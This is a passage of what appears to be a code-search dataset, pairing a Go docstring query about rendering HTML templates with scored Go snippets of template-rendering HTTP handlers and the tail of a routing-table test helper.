make(map[uint64]*spb.AFTEntry),\n\t\t\t}\n\t\t}\n\t\tni := netinsts[r.NetworkInstance]\n\n\t\tswitch v := r.Entry.(type) {\n\t\tcase *spb.AFTEntry_NextHopGroup:\n\t\t\tif id := v.NextHopGroup.GetId(); id != 0 {\n\t\t\t\tni.nhg[id] = r\n\t\t\t}\n\t\tcase *spb.AFTEntry_NextHop:\n\t\t\tif idx := v.NextHop.GetIndex(); idx != 0 {\n\t\t\t\tni.nh[idx] = r\n\t\t\t}\n\t\tcase *spb.AFTEntry_Ipv4:\n\t\t\tif pfx := v.Ipv4.GetPrefix(); pfx != \"\" {\n\t\t\t\tni.ipv4[pfx] = r\n\t\t\t}\n\t\t}\n\t}\n\n\tfor _, want := range wants {\n\t\twantProto, err := want.EntryProto()\n\t\tif err != nil {\n\t\t\tt.Fatalf(\"cannot convert want to an AFTEntry protobuf, %v\", err)\n\t\t}\n\n\t\tif wantProto.GetNetworkInstance() == \"\" {\n\t\t\tt.Fatalf(\"got nil network instance, required.\")\n\t\t}\n\n\t\tif wantProto.GetEntry() == nil {\n\t\t\tt.Fatalf(\"got nil entry, required\")\n\t\t}\n\n\t\tni, ok := netinsts[wantProto.GetNetworkInstance()]\n\t\tif !ok {\n\t\t\tt.Fatalf(\"did not find entry, got: %s, did not find network instance in want: %s\", wantProto.NetworkInstance, getres)\n\t\t}\n\n\t\tswitch v := wantProto.Entry.(type) {\n\t\tcase *spb.AFTEntry_NextHopGroup:\n\t\t\tif _, ok := ni.nhg[v.NextHopGroup.GetId()]; !ok {\n\t\t\t\tt.Fatalf(\"did not find entry, did not find nexthop group: %s, got:\\n%s\", v.NextHopGroup, getres)\n\t\t\t}\n\t\tcase *spb.AFTEntry_NextHop:\n\t\t\tif _, ok := ni.nh[v.NextHop.GetIndex()]; !ok {\n\t\t\t\tt.Fatalf(\"did not find entry, did not find nexthop: %s, got:\\n%s\", v.NextHop, getres)\n\t\t\t}\n\t\tcase *spb.AFTEntry_Ipv4:\n\t\t\tif _, ok := ni.ipv4[v.Ipv4.GetPrefix()]; !ok {\n\t\t\t\tt.Fatalf(\"did not find entry, did not find ipv4: %s, got: %s\\n\", v.Ipv4, getres)\n\t\t\t}\n\t\t}\n\t}\n}", "title": "" } ]
1834fd10f0ce20e228cf44b8f44ca09f
renderTemplate parses a template file and renders it with the call data.
[ { "docid": "2cda3020ab8f09c2113b2d0b3bc3c1b3", "score": "0.77085525", "text": "func renderTemplate(w http.ResponseWriter, tmpl string, c *Call) {\n\terr := config.templates.ExecuteTemplate(w, tmpl + \".html\", c)\n\tif err != nil {\n\t\thttp.Error(w, err.Error(), http.StatusInternalServerError)\n\t\treturn\n\t}\n}", "title": "" } ]
[ { "docid": "e0724fa8a7ace49ac22acd7e0fc54e3a", "score": "0.7898107", "text": "func RenderTemplate(w http.ResponseWriter, templateFile string, templateData interface{}) {\n\n\tt, err := template.ParseFiles(templateFile)\n\tif err != nil {\n\t\tlog.Fatal(\"Error encountered while parsing the template: \", err)\n\t}\n\tt.Execute(w, templateData)\n}", "title": "" }, { "docid": "d3ce6e76d5d5538f3f45dc713ed6b36a", "score": "0.7774959", "text": "func renderTemplate(writer http.ResponseWriter, templateFile string, data interface{}) {\n templ, err := template.ParseFiles(templateFile + \".html\")\n if err != nil {\n http.Error(writer, err.Error(), http.StatusInternalServerError)\n }\n templ.Execute(writer, data)\n}", "title": "" }, { "docid": "193c7fbf2992dc07973db9467d567a78", "score": "0.7765296", "text": "func RenderTemplate(w http.ResponseWriter, tmpl string, data interface{}) {\n\tcwd, _ := os.Getwd()\n\tt, err := template.ParseFiles(filepath.Join(cwd, \"./\"+tmpl))\n\tif err != nil {\n\t\thttp.Error(w, err.Error(), http.StatusInternalServerError)\n\t\treturn\n\t}\n\terr = t.Execute(w, data)\n\tif err != nil {\n\t\thttp.Error(w, err.Error(), http.StatusInternalServerError)\n\t\treturn\n\t}\n}", "title": "" }, { "docid": "600e869d25282ef6f2a5793e3c829142", "score": "0.7675567", "text": "func renderTemplate(w io.Writer, templateName string, data interface{}) {\n\tpr(\"renderTemplate: \" + templateName)\n\n\tif flags.debug != \"\" {\n\t\tparseTemplateFiles()\n\t}\n\n\t// Note: htemplate does HTML-escaping, which prevents against HTML-injection attacks!\n\t// ttemplate does not, but is necessary for rendering HTML, such as auto-generated forms.\n\t_, ok := htemplates[templateName]\n\tvar err error\n\tif ok {\n\t\terr = htemplates[templateName].Execute(w, data)\n\t} else {\n\t\terr = ttemplates[templateName].Execute(w, data)\n\t}\n\tcheck(err)\n}", "title": "" }, { "docid": "312519c72202251efd240ff9f8690f14", "score": "0.76391476", "text": "func renderTemplate(w http.ResponseWriter, tmpl string, p *Page) {\n\tt, _ := template.ParseFiles(tmpl + \".html\")\n\tt.Execute(w, p)\n}", "title": "" }, { "docid": "2e9b9b231099eb473cfef38d623574d8", "score": "0.75726444", "text": "func RenderTemplate(file string, st interface{}, wr io.Writer) {\n\tif tmpH == nil {\n\t\ttmpH = newHtemplate(cfg.TemplateDir)\n\t}\n\tif err := tmpH.ExecuteTemplate(wr, file, st); err != nil {\n\t\tlog.Println(err)\n\t}\n}", "title": "" }, { "docid": "e0df031ce7d6c527a45d3213010b10da", "score": "0.7499001", "text": "func RenderTemplate(w http.ResponseWriter, tmpl string) {\n\tparsedTemplate, _ := template.ParseFiles(\"./templates/\" + tmpl)\n\terr := parsedTemplate.Execute(w, nil)\n\n\tif err != nil {\n\t\tfmt.Println(\"Error parsing template: \", err)\n\t\treturn\n\t}\n}", "title": "" }, { "docid": "15d8533db66299aebfbc0149f9f7c0d4", "score": "0.7418846", "text": "func renderTemplate(w http.ResponseWriter, data interface{}, filenames ...string) error {\n\tt := template.New(\"base\")\n\ts1, err := t.ParseFiles(append(filenames, \"templates/base.tmpl\")...)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// Write to a temporary buffer when executing the template\n\t// Otherwise, if ExecuteTemplate causes an error, partially-written content may be sent\n\tb := bytes.NewBuffer([]byte{})\n\terr = s1.ExecuteTemplate(b, \"base\", data)\n\tif err != nil {\n\t\treturn err\n\t}\n\tw.Write(b.Bytes())\n\treturn nil\n}", "title": "" }, { "docid": "7a9a4394d7bb26e9f656f6f58b610288", "score": "0.7394586", "text": "func renderTemplate(w http.ResponseWriter, tmpl string, p *Page) {\n\t//ExecuteTemplate applies the template associated with the receiver,\n\t//in this case a template, that has the name value of tmpl\n\t//to the specified data object p and writes the output to w\n\t//if an error occurs, execution stops\n\terr := templates.ExecuteTemplate(w, tmpl+\".html\", p)\n\tif err != nil {\n\t\thttp.Error(w, err.Error(), http.StatusInternalServerError)\n\t\treturn\n\t}\n\n}", "title": "" }, { "docid": "2af27a843666287aba14d193e447506b", "score": "0.7365348", "text": "func renderTemplate(dataFilesDir string, templateConfig *rt.TemplateConfig, config *rt.Config, tplCache map[string]*template.Template) error {\n\tfor _, fromTo := range templateConfig.FromTo {\n\t\tvar (\n\t\t\ttemplateInstance *template.Template\n\t\t\terr error\n\t\t)\n\t\tif *showOutputDir {\n\t\t\tlog.Printf(\"Rendering %s\", fromTo)\n\t\t}\n\t\tif *templatesDirPath != \"\" {\n\t\t\ttemplatePath := path.Join(*templatesDirPath, fromTo.From)\n\t\t\ttemplateInstance, err = loadTemplate(templatePath, tplCache)\n\t\t} else {\n\t\t\ttemplateInstance, err = loadTemplateFromGithub(fromTo.From, tplCache)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tfor _, render := range templateConfig.RenderConfigs {\n\t\t\terr = renderFileFromTemplate(dataFilesDir, templateInstance, *render, config, fromTo)\n\t\t\tif err != nil {\n\t\t\t\tlog.Printf(\"Failed render %s file\", fromTo.To)\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "8d9ed49fe94143e73f6f180a525baf6b", "score": "0.7346627", "text": "func RenderTemplateFromFile(w http.ResponseWriter, templatePath string, templateName string, data interface{}) error {\n\ttmpl, err := template.New(\"test1\").ParseFiles(templatePath)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tw.Header().Set(\"Content-Type\", \"text/html; charset = utf-8\")\n\terr = tmpl.ExecuteTemplate(w, templateName, data)\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "e782ee59dee6d089e5635c439237d483", "score": "0.7267327", "text": "func renderTemplate(\n\ttemplateName string,\n\ttemplateString string,\n\tdata interface{},\n) (result string, err error) {\n\ttemplateString = strings.TrimLeft(templateString, \"\\n\")\n\n\tt, err := template.New(templateName).Funcs(template.FuncMap{\n\t\t\"indent\": indent,\n\t}).Parse(templateString)\n\n\tif err != nil {\n\t\treturn\n\t}\n\n\tb := &bytes.Buffer{}\n\terr = t.Execute(b, data)\n\tresult = b.String()\n\n\treturn\n}", "title": "" }, { "docid": "99c8241345781dc964f86c5f44948753", "score": "0.72420764", "text": "func renderTemplate(w http.ResponseWriter, tmpl string, p interface{}) {\n\terr := templates.ExecuteTemplate(w, tmpl, p)\n\tif err != nil {\n\t\thttp.Error(w, err.Error(), http.StatusInternalServerError)\n\t}\n}", "title": "" }, { "docid": "99c8241345781dc964f86c5f44948753", "score": "0.72420764", "text": "func renderTemplate(w http.ResponseWriter, tmpl string, p interface{}) {\n\terr := templates.ExecuteTemplate(w, tmpl, p)\n\tif err != nil {\n\t\thttp.Error(w, err.Error(), http.StatusInternalServerError)\n\t}\n}", "title": "" }, { "docid": "5ed8818ed8ad9a5da8dbd42a3a1c32d5", "score": "0.7235452", "text": "func RenderTemplate(templateFile string, context *pongo2.Context) (string, error) {\n\tlog.Info(fmt.Sprintf(\"Loading template from file: %s\", templateFile))\n\ttpl, err := pongo2.FromFile(templateFile)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tout, err := tpl.Execute(*context)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tlog.Info(fmt.Sprintf(\"Rendered template\"))\n\n\treturn out, nil\n}", "title": "" }, { "docid": "b8b81c1078b10445ab049d492a50fffe", "score": "0.7233688", "text": "func renderTemplate(w http.ResponseWriter, name string, data map[string]interface{}) error {\n\t// Ensure the template exists in the map.\n\ttmpl, ok := templates[name]\n\tif !ok {\n\t\treturn fmt.Errorf(\"The template %s does not exist.\", name)\n\t}\n\n\tw.Header().Set(\"Content-Type\", \"text/html; charset=utf-8\")\n\treturn tmpl.ExecuteTemplate(w, \"base.html\", data)\n}", "title": "" }, { "docid": "fdc926d65617ee769a8e3f9bc0102c43", "score": "0.7211178", "text": "func renderTemplate(w http.ResponseWriter, teml string, p *Page) {\n\terr := templates.ExecuteTemplate(w, teml+\".html\", p)\n\tif err != nil {\n\t\thttp.Error(w, err.Error(), http.StatusInternalServerError)\n\t\treturn\n\t}\n}", "title": "" }, { "docid": "b49febad2c9b4519df8dc582facedfe7", "score": "0.7210512", "text": "func RenderTemplate(w http.ResponseWriter, template string, data interface{}) error {\n\treturn TemplateLoader.render(w, template, data)\n}", "title": "" }, { "docid": "b0721b26ecfa38d22d4f6b7c43324b6c", "score": "0.72051924", "text": "func renderTemplate(w http.ResponseWriter, r *http.Request, name string, data interface{}) error {\n\thandleError := func(err error) {\n\t\tlog.Println(err)\n\t\terrorHandler(w, r, http.StatusInternalServerError)\n\t}\n\t// Ensure the template exists in the map.\n\ttmpl, ok := templates[name]\n\tif !ok {\n\t\terr := fmt.Errorf(\"the template %s does not exist \", name)\n\t\thandleError(err)\n\t\treturn err\n\t}\n\n\t// Create a buffer to temporarily write to and check if any errors were encounted.\n\tbuf := bufpool.Get()\n\tdefer bufpool.Put(buf)\n\n\terr := tmpl.ExecuteTemplate(buf, \"layout\", data)\n\tif err != nil {\n\t\thandleError(err)\n\t\treturn err\n\t}\n\n\t// Set the header and write the buffer to the http.ResponseWriter\n\tw.Header().Set(\"Content-Type\", \"text/html; charset=utf-8\")\n\tbuf.WriteTo(w)\n\treturn nil\n}", "title": "" }, { "docid": "beefc11cd914459bbfd99e96ae0300bf", "score": "0.71938324", "text": "func renderFile(w io.Writer, fileLoc string, fileTmpl string, info tmplData) error {\n\tt := template.New(fileLoc)\n\n\tt, err := t.Parse(fileTmpl)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn t.Execute(w, info)\n}", "title": "" }, { "docid": "818ff96c6a5f3f6f08e67ebdd7d5e6b4", "score": "0.71789926", "text": "func renderTemplate(w http.ResponseWriter, name string, data interface{}) error {\n\t// Ensure the template exists in the map.\n\ttmpl, ok := templates[name]\n\tif !ok {\n\t\treturn fmt.Errorf(\"The template %s does not exist.\\n\", name)\n\t}\n\n\tw.Header().Set(\"Content-Type\", \"text/html; charset=utf-8\")\n\treturn tmpl.ExecuteTemplate(w, \"base.html\", data)\n}", "title": "" }, { "docid": "60477578d3d031e704134f7bab9549c2", "score": "0.71710396", "text": "func renderTemplate(w http.ResponseWriter, tmpl string, p *Page) {\n err := templates.ExecuteTemplate(w, tmpl+\".html\", p)\n if err != nil {\n http.Error(w, err.Error(), http.StatusInternalServerError)\n return\n }\n}", "title": "" }, { "docid": "04fcb961d8f05789f7d26a2136f31138", "score": "0.7169183", "text": "func renderTemplate(w http.ResponseWriter, tmpl string, p *Page) {\n\terr := templates.ExecuteTemplate(w, tmpl+\".html\", p)\n\tif err != nil {\n\t\thttp.Error(w, err.Error(), http.StatusInternalServerError)\n\t}\n}", "title": "" }, { "docid": "04fcb961d8f05789f7d26a2136f31138", "score": "0.7169183", "text": "func renderTemplate(w http.ResponseWriter, tmpl string, p *Page) {\n\terr := templates.ExecuteTemplate(w, tmpl+\".html\", p)\n\tif err != nil {\n\t\thttp.Error(w, err.Error(), http.StatusInternalServerError)\n\t}\n}", "title": "" }, { "docid": "04fcb961d8f05789f7d26a2136f31138", "score": "0.7169183", "text": "func renderTemplate(w http.ResponseWriter, tmpl string, p *Page) {\n\terr := templates.ExecuteTemplate(w, tmpl+\".html\", p)\n\tif err != nil {\n\t\thttp.Error(w, err.Error(), http.StatusInternalServerError)\n\t}\n}", "title": "" }, { "docid": "04fcb961d8f05789f7d26a2136f31138", "score": "0.7169183", "text": "func renderTemplate(w http.ResponseWriter, tmpl string, p *Page) {\n\terr := templates.ExecuteTemplate(w, tmpl+\".html\", p)\n\tif err != nil {\n\t\thttp.Error(w, err.Error(), http.StatusInternalServerError)\n\t}\n}", "title": "" }, { "docid": "04fcb961d8f05789f7d26a2136f31138", "score": "0.7169183", "text": "func renderTemplate(w http.ResponseWriter, tmpl string, p *Page) {\n\terr := templates.ExecuteTemplate(w, tmpl+\".html\", p)\n\tif err != nil {\n\t\thttp.Error(w, err.Error(), http.StatusInternalServerError)\n\t}\n}", "title": "" }, { "docid": "6f56308177facc6df6d9e9009533866d", "score": "0.7168847", "text": "func (ui *GUI) renderTemplate(w http.ResponseWriter, name string, data interface{}) {\n\tvar doc bytes.Buffer\n\terr := ui.templates.ExecuteTemplate(&doc, name, data)\n\tif err != nil {\n\t\tlog.Errorf(\"template error: %v\", err)\n\t\thttp.Error(w, \"template error: \"+err.Error(),\n\t\t\thttp.StatusInternalServerError)\n\t\treturn\n\t}\n\t_, err = doc.WriteTo(w)\n\tif err != nil {\n\t\tlog.Errorf(\"unable to render template: %v\", err)\n\t}\n}", "title": "" }, { "docid": "e0ace13658d723e397beda3092004190", "score": "0.7103808", "text": "func renderTemplate(c TemplateConfig) (string, error) {\n\tt := template.Must(template.New(\"template.yml\").Parse(string(TemplateYml)))\n\tvar buf bytes.Buffer\n\terr := t.Execute(&buf, c)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\treturn buf.String(), nil\n}", "title": "" }, { "docid": "065c03712f4885be50bf821ef9080de2", "score": "0.7086074", "text": "func Render(templatePath string, w http.ResponseWriter, data interface{}) error {\n\tt, err := template.ParseFiles(templatePath)\n\tif ErrHandle(w, err) {\n\t\tl.Error(\"Parse template file\", templatePath, \"error:\", err)\n\t\treturn err\n\t}\n\n\tbuff := bytes.NewBuffer([]byte{})\n\n\terr = t.Execute(buff, data)\n\tif ErrHandle(w, err) {\n\t\tl.Error(\"Execute template\", t, \"with data\", data, \"error:\", err)\n\t\treturn err\n\t}\n\n\tcontent := make([]byte, buff.Len())\n\tbuff.Read(content)\n\tw.Write(content)\n\n\treturn nil\n}", "title": "" }, { "docid": "27e6ff6ad00a9f9879cfa257fd73a2c8", "score": "0.70647603", "text": "func Render(w http.ResponseWriter, tmpl string, pageVars PageVars) error {\n\n\t// Prefix the name passed in with templates.\n\ttmpl = fmt.Sprintf(\"templates/%s\", tmpl)\n\tt, err := template.ParseFiles(tmpl)\n\n\t// Parse the template file held in the templates folder.\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// execute the template and pass in the variables to fill the gaps.\n\tif err := t.Execute(w, pageVars); err != nil {\n\t\treturn err\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "2d17bca45d3828b02c8e5c68356addd6", "score": "0.7056791", "text": "func renderTemplate(w http.ResponseWriter, tmpl string, page Page) {\n\terr := templates.ExecuteTemplate(w, tmpl, page)\n\tif err != nil {\n\t\thttp.Error(w, err.Error(), http.StatusInternalServerError)\n\t}\n}", "title": "" }, { "docid": "a4934834c663510f41dc3508f2b65a83", "score": "0.6992898", "text": "func render(path string, data *interface{}, w http.ResponseWriter, r *http.Request, app *models.Application, rCtx *models.RequestContext) {\n\ttpl, err := app.Generator.ParseFile(path)\n\tif err != nil {\n\t\thandleError(w, r, app, err)\n\t\treturn\n\t}\n\tif err := tpl.Execute(w, models.NewViewData(app, rCtx, data)); err != nil {\n\t\thandleError(w, r, app, err)\n\t\treturn\n\t}\n}", "title": "" }, { "docid": "5204803f58fadbae3cf805cf6a6ae9ab", "score": "0.6988472", "text": "func renderTemplate(res http.ResponseWriter, template_name string, p *Page) {\n\n\t// Retrieve the specified template from the 'cached_templates' and pipe the Page to the client. \n\terr := cached_templates.ExecuteTemplate(res, template_name+\".html\", p)\n\tif err != nil {\n\t\thttp.Error(res, err.Error(), http.StatusInternalServerError)\n\t}\n\n\t/* Commented out because we switched to a template caching method.\n\n\t// Use Go's html/template engine.\n\tt, err := template.ParseFiles(\"wiki/templates/\" + template_name + \".html\")\n\n\t// If there is an error in the Page we're trying to pipe back to the client, then return HTTP Internal Server Error error.\n\tif err != nil {\n\t\thttp.Error(res, err.Error(), http.StatusInternalServerError)\n\t\treturn\n\t}\n\n\t// Pipe the template to the user.\n\terr = t.Execute(res, p)\n\n\t// If there was an error rendering the template, then return HTTP Internal Server Error error.\n\tif err != nil {\n\t\thttp.Error(res, err.Error(), http.StatusInternalServerError)\n\t\treturn\n\t}\n\t*/\n\n}", "title": "" }, { "docid": "27b61503cdde96838034463ecc5eac4f", "score": "0.69873637", "text": "func renderTemplate(w http.ResponseWriter, tmpl string) {\n\tt, err := template.ParseFiles(webpagesDir + tmpl + \".html\")\n\tif err != nil {\n\t\thttp.Error(w, err.Error(), http.StatusInternalServerError)\n\t\treturn\n\t}\n\terr = t.Execute(w, nil)\n\tif err != nil {\n\t\thttp.Error(w, err.Error(), http.StatusInternalServerError)\n\t}\n}", "title": "" }, { "docid": "c214c6ed2864e6a8b99ee835afcfce3a", "score": "0.6955919", "text": "func render(w http.ResponseWriter, tmpl string, context Context) {\n\t// Fill the static variable in the context struct (passed by parameter)\n\tcontext.Static = STATIC_URL\n\t// Creates a template list, based on the base template and the template passed by parameter\n\ttmplList := []string{\"templates/base.html\",\n\t\tfmt.Sprintf(\"templates/%s.html\", tmpl)}\n\tname := filepath.Base(\"templates/base.html\")\n\t// t, err := template.ParseFiles(tmpl_list...)\n\t// If any error occurs, show it\n\t// if err != nil {\n\t// \tlog.Println(\"Template parsing error: \", err)\n\t// }\n\t// Applies a parsed template to the specified data object\n\n\tgfm := make(map[string]interface{}, 1)\n\tgfm[\"hexToString\"] = hexToString\n\n\tt := template.Must(template.New(name).Funcs(template.FuncMap(gfm)).ParseFiles(tmplList...))\n\tvar err = t.Execute(w, context)\n\t// If any error occurs, show it\n\tif err != nil {\n\t\tlog.Println(\"Template executing error: \", err)\n\t}\n}", "title": "" }, { "docid": "890fd92b5ae8dd4027161951c65ff908", "score": "0.694348", "text": "func RenderTemplate(rw http.ResponseWriter, tmpl string, td *models.TemplateData) {\n\n\tvar templateCache map[string]*template.Template\n\t// In Production load template from template Cache\n\tif app.UseCache {\n\t\ttemplateCache = app.TemplateCache\n\t} else {\n\t\ttemplateCache, _ = CreateTemplateCache()\n\t}\n\t// ok is used to check if the template exists or not\n\t// if template found, ok wil return true else false\n\tt, ok := templateCache[tmpl]\n\n\t//fmt.Println(\"t is \", t.DefinedTemplates())\n\n\tif !ok {\n\t\tlog.Fatal(\"Could not get template from template cache\")\n\t}\n\n\tbuf := new(bytes.Buffer)\n\ttd = AddDefaultData(td)\n\terr := t.Execute(buf, td)\n\tif err != nil {\n\t\tfmt.Println(\"Error writing parsed template to buffer\", err)\n\t\treturn\n\t}\n\t_, err = buf.WriteTo(rw)\n\n\tif err != nil {\n\t\tfmt.Println(\"Error writing template to browser\", err)\n\t\treturn\n\t}\n}", "title": "" }, { "docid": "c4fb6d0aa35dcb67df8aa19ad715bb13", "score": "0.6941597", "text": "func RenderTemplate(w http.ResponseWriter, tmpl string, td *models.TemplateData) {\n\tvar tc map[string]*template.Template\n\t\n\tif app.UseCache {\n\t\t// get the template cache from the app config\n\t\ttc = app.TemplateCache\n\t} else {\n\t\ttc, _ = CreateTemplateCache()\n\t}\n\n\tt, ok := tc[tmpl]\n\tif !ok {\n\t\tlog.Fatal(\"Could not get template from template chache\")\n\t}\n\n\tbuf := new(bytes.Buffer)\n\n\ttd = AddDefaultData(td)\n\n\t_ = t.Execute(buf, td)\n\n\t_, err := buf.WriteTo(w)\n\tif err != nil{\n\t\tfmt.Println(\"Error writing template to browser\", err)\n\t}\n\n}", "title": "" }, { "docid": "f50d4f4e2517db3fff571045283dc772", "score": "0.6934136", "text": "func RenderTemplate(w http.ResponseWriter, tmpl string, td *handlers.TemplateData) {\n\n\tvar tc map[string]*template.Template\n\n\t// get template cache\n\tif app.UseCache {\n\t\ttc = app.TemplateCache\n\t} else {\n\t\ttc, _ = CreateTemplateCache()\n\t}\n\n\n\t// get template\n\tt, ok := tc[tmpl]\n\tif !ok {\n\t\tlog.Fatal(\"Could not get template from template cache\")\n\t}\n\tbuf := new(bytes.Buffer)\n\n\t// write template to buffer\n\t_ = t.Execute(buf, nil)\n\n\t// write to response writter\n\t_, err := buf.WriteTo(w)\n\n\tif err != nil {\n\t\tlog.Println(\"Error writing template to browser\", err)\n\t}\n\n}", "title": "" }, { "docid": "5c1fbfe09212bbef8ed600ba271592fe", "score": "0.6921166", "text": "func RenderTemplate(tmpl string, data interface{}) (string, error) {\n\ttmp, err := template.New(\"template\").Parse(tmpl)\n\tif err != nil {\n\t\treturn \"\", fmt.Errorf(\"could not parse template: %w\", err)\n\t}\n\n\tbuf := new(bytes.Buffer)\n\terr = tmp.Execute(buf, data)\n\tif err != nil {\n\t\treturn \"\", fmt.Errorf(\"could not render template: %w\", err)\n\t}\n\treturn buf.String(), nil\n}", "title": "" }, { "docid": "143e20b0cd51e6d20b0a6cbdaa266bb1", "score": "0.6894162", "text": "func ExecuteTemplate(templateFile string, data interface{}) string {\n\n\tb, err := ioutil.ReadFile(templateFile)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\tfile := string(b)\n\n\treturn ExecuteTemplateData(file, data)\n}", "title": "" }, { "docid": "dfadd77cd071e7383e5cfebd6b83068e", "score": "0.68893063", "text": "func (h *Handler) RenderTemplate(tmplPath string, data interface{}, opts RenderOptions) {\n\tname := strings.TrimPrefix(tmplPath, \"/\")\n\ttmpl := h.templates[name]\n\tif tmpl == nil {\n\t\tt := template.New(name)\n\t\tif opts.FuncMap != nil {\n\t\t\tt.Funcs(opts.FuncMap)\n\t\t}\n\t\tvar views []string\n\t\tif opts.Parents != nil {\n\t\t\tfor _, p := range opts.Parents {\n\t\t\t\tviews = append(views, h.fileNameWithExt(p))\n\t\t\t}\n\t\t} else {\n\t\t\tviews = make([]string, 0)\n\t\t}\n\n\t\tviews = append(views, filepath.Join(h.config.ViewPath, h.fileNameWithExt(name)))\n\t\ttmpl = template.Must(t.ParseFiles(views...))\n\t\th.templates[name] = tmpl\n\t}\n\tif opts.Status != 0 {\n\t\th.Res.WriteHeader(opts.Status)\n\t} else {\n\t\th.Res.WriteHeader(http.StatusOK)\n\t}\n\n\tvar renderErr error\n\tif opts.Name != \"\" {\n\t\trenderErr = tmpl.ExecuteTemplate(h.Res, opts.Name, data)\n\t} else {\n\t\trenderErr = tmpl.Execute(h.Res, data)\n\t}\n\tif renderErr != nil {\n\t\tpanic(renderErr)\n\t}\n}", "title": "" }, { "docid": "29fab711c93618bf5e55be2e8ccda0f4", "score": "0.6886066", "text": "func render(w http.ResponseWriter, filename string, context interface{}) {\n\ttmpl, err := template.ParseFiles(filename)\n\tif err != nil {\n\t\tlog.Println(err)\n\t\thttp.Error(w, \"Sorry, something went wrong\", http.StatusInternalServerError)\n\t}\n\n\tif err := tmpl.Execute(w, context); err != nil {\n\t\tlog.Println(err)\n\t\thttp.Error(w, \"Sorry, something went wrong\", http.StatusInternalServerError)\n\t}\n}", "title": "" }, { "docid": "1739ae233eb5b59e70f9cbbbed3442bc", "score": "0.68741685", "text": "func (s *Server) render(w http.ResponseWriter, r *http.Request, templateName string, ctx pongo2.Context) {\n\tt, err := templateSet.FromFile(templateName)\n\tif err != nil {\n\t\thttp.Error(w, err.Error(), http.StatusInternalServerError)\n\t\treturn\n\t}\n\tctx[\"alerts\"] = getAlerts()\n\td, err := t.ExecuteBytes(ctx)\n\tif err != nil {\n\t\thttp.Error(w, err.Error(), http.StatusInternalServerError)\n\t\treturn\n\t}\n\tw.Header().Set(\"Content-Type\", \"text/html\")\n\tw.WriteHeader(http.StatusOK)\n\tw.Write(d)\n}", "title": "" }, { "docid": "092a62d7696644d27ee516388a7f5467", "score": "0.6868671", "text": "func render(w http.ResponseWriter, r *http.Request, tpl *template.Template, name string, data interface{}) {\n\tbuf := new(bytes.Buffer)\n\tif err := tpl.ExecuteTemplate(buf, name, data); err != nil {\n\t\tfmt.Printf(\"\\nRender Error: %v\\n\", err)\n\t\treturn\n\t}\n\tw.Write(buf.Bytes())\n}", "title": "" }, { "docid": "15b1ba7fcd0478b25c571008afd501d7", "score": "0.68655205", "text": "func render(w http.ResponseWriter, r *http.Request, tpl *template.Template,\n\tname string, data interface{}) {\n\tbuf := new(bytes.Buffer)\n\tif err := tpl.ExecuteTemplate(buf, name, data); err != nil {\n\t\tfmt.Printf(\"\\nRender Error: %v\\n\", err)\n\t\treturn\n\t}\n\tw.Write(buf.Bytes())\n}", "title": "" }, { "docid": "2a7543ad1f2a49009906fc3954a8a497", "score": "0.6857745", "text": "func RenderTemplate(templ string, values interface{}) (string, error) {\n\tvar funcs = template.FuncMap{\n\t\t\"env\": templateEnv,\n\t\t\"add\": templateAdd,\n\t\t\"now\": templateNow,\n\t\t\"time\": templateTime,\n\t}\n\t// render template\n\ttobj, err := template.New(\"template\").Funcs(funcs).Parse(templ)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tbuf := new(bytes.Buffer)\n\tif err = tobj.Execute(buf, values); err != nil {\n\t\treturn \"\", err\n\t}\n\treturn buf.String(), nil\n}", "title": "" }, { "docid": "b817c090f640c9668331fb5271d7415c", "score": "0.68455213", "text": "func Render(w http.ResponseWriter, filename string, data interface{}) {\n\ttmpl, err := template.ParseFiles(filename)\n\tif err != nil {\n\t\thttp.Error(w, err.Error(), http.StatusInternalServerError)\n\t}\n\tif err := tmpl.Execute(w, data); err != nil {\n\t\thttp.Error(w, err.Error(), http.StatusInternalServerError)\n\t}\n}", "title": "" }, { "docid": "4427b3e73026695c28781df7c4c916e6", "score": "0.68410856", "text": "func renderTemplate(w http.ResponseWriter, templ string, p *Page) {\n\terr := templates.ExecuteTemplate(w, templ+\".html\", p)\n\tif err != nil {\n\t\t// The http.Error function sends a specified HTTP response code (in this case \"Internal Server Error\") and error message.\n\t\thttp.Error(w, err.Error(), http.StatusInternalServerError)\n\t\treturn\n\t}\n}", "title": "" }, { "docid": "a92d7ce90e4b66cbd8f215c53e76c50f", "score": "0.6835741", "text": "func renderTemplate(w http.ResponseWriter, templateName string, model interface{}) {\n\terr := templates.ExecuteTemplate(w, templateName, model)\n\tif err != nil {\n\t\thttp.Error(w, err.Error(), http.StatusInternalServerError)\n\t}\n}", "title": "" }, { "docid": "a596555cddd4a1ef6d40cbcce2d080d0", "score": "0.680315", "text": "func RenderTemplate(w http.ResponseWriter, tmpl string, td *models.TemplateData) {\n\n\tvar tc map[string]*template.Template\n\tif app.UseCache {\n\t\ttc = app.TemplateCache\n\t} else {\n\t\ttc, _ = GetTemplateCache()\n\t}\n\n\tif tc == nil {\n\t\tlog.Fatalln(\"could not get template cache from app config\")\n\t}\n\n\ttemplate, templateExists := tc[tmpl]\n\n\tif !templateExists {\n\t\tlog.Fatal(\"template not in templates cache\")\n\t}\n\n\tbuff := new(bytes.Buffer)\n\n\ttd = AddDefaultData(td)\n\terr := template.Execute(buff, td)\n\tif err != nil {\n\t\tfmt.Println(err)\n\t}\n\n\t_, err = buff.WriteTo(w)\n\n\tif err != nil {\n\t\tfmt.Println(\"error writing template to browser\", err)\n\t}\n}", "title": "" }, { "docid": "6858c24f2de7fcb8ae5d8bfc637491da", "score": "0.6794148", "text": "func RenderTemplate(w http.ResponseWriter, templateName string, p *models.Page) {\n\terr := templates.ExecuteTemplate(w, templateName+\".html\", p)\n\tif err != nil {\n\t\thttp.Error(w, err.Error(), 